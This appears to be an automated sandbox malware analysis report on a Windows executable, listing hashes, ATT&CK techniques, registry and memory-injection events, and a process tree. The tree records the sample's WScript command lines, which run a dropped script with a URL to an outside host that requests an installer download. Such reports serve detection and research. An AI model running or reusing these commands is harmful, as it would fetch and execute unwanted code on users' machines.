6b9446fe8c52f278c5995c5e4e48b4c892f4c3771f1d444ceef81a2e6a77ae30

General

Target

fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe
Size

184KB
MD5

fc52a1e3f1e1c7c0b6005bcea6d45c46
SHA1

8f1d5109224a2cdd87c7ef8336fb074afedfe080
SHA256

6b9446fe8c52f278c5995c5e4e48b4c892f4c3771f1d444ceef81a2e6a77ae30
SHA512

143a9e95c81c1599dc69fb0f74ba778f4651b71a9a4efa24a979f1f93deb2255b5e0235e72dd2046be1b54524794d234429659af5e9e315173aca3818b2a972b
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3M:/7BSH8zUB+nGESaaRvoB7FJNndnR

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
9	4080	WScript.exe
27	3168	WScript.exe
36	5072	WScript.exe
37	5072	WScript.exe
52	412	WScript.exe
55	4816	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2880	3056	WerFault.exe	81

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings	fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3056 wrote to memory of 4080	3056	fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe	82
PID 3056 wrote to memory of 4080	3056	fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe	82
PID 3056 wrote to memory of 4080	3056	fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe	82
PID 3056 wrote to memory of 3168	3056	fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe	88
PID 3056 wrote to memory of 3168	3056	fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe	88
PID 3056 wrote to memory of 3168	3056	fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe	88
PID 3056 wrote to memory of 5072	3056	fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe	91
PID 3056 wrote to memory of 5072	3056	fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe	91
PID 3056 wrote to memory of 5072	3056	fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe	91
PID 3056 wrote to memory of 412	3056	fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe	94
PID 3056 wrote to memory of 412	3056	fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe	94
PID 3056 wrote to memory of 412	3056	fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe	94
PID 3056 wrote to memory of 4816	3056	fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe	95
PID 3056 wrote to memory of 4816	3056	fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe	95
PID 3056 wrote to memory of 4816	3056	fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe	95

C:\Users\Admin\AppData\Local\Temp\fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\fc52a1e3f1e1c7c0b6005bcea6d45c46_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf75BC.js" http://www.djapp.info/?domain=OORSObqEpr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf75BC.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4080
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf75BC.js" http://www.djapp.info/?domain=OORSObqEpr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf75BC.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3168
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf75BC.js" http://www.djapp.info/?domain=OORSObqEpr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf75BC.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:5072
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf75BC.js" http://www.djapp.info/?domain=OORSObqEpr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf75BC.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:412
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf75BC.js" http://www.djapp.info/?domain=OORSObqEpr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf75BC.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4816
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3056 -s 1456
  2⤵
  - Program crash
  PID:2880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3056 -ip 3056
1⤵
PID:732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf75BC.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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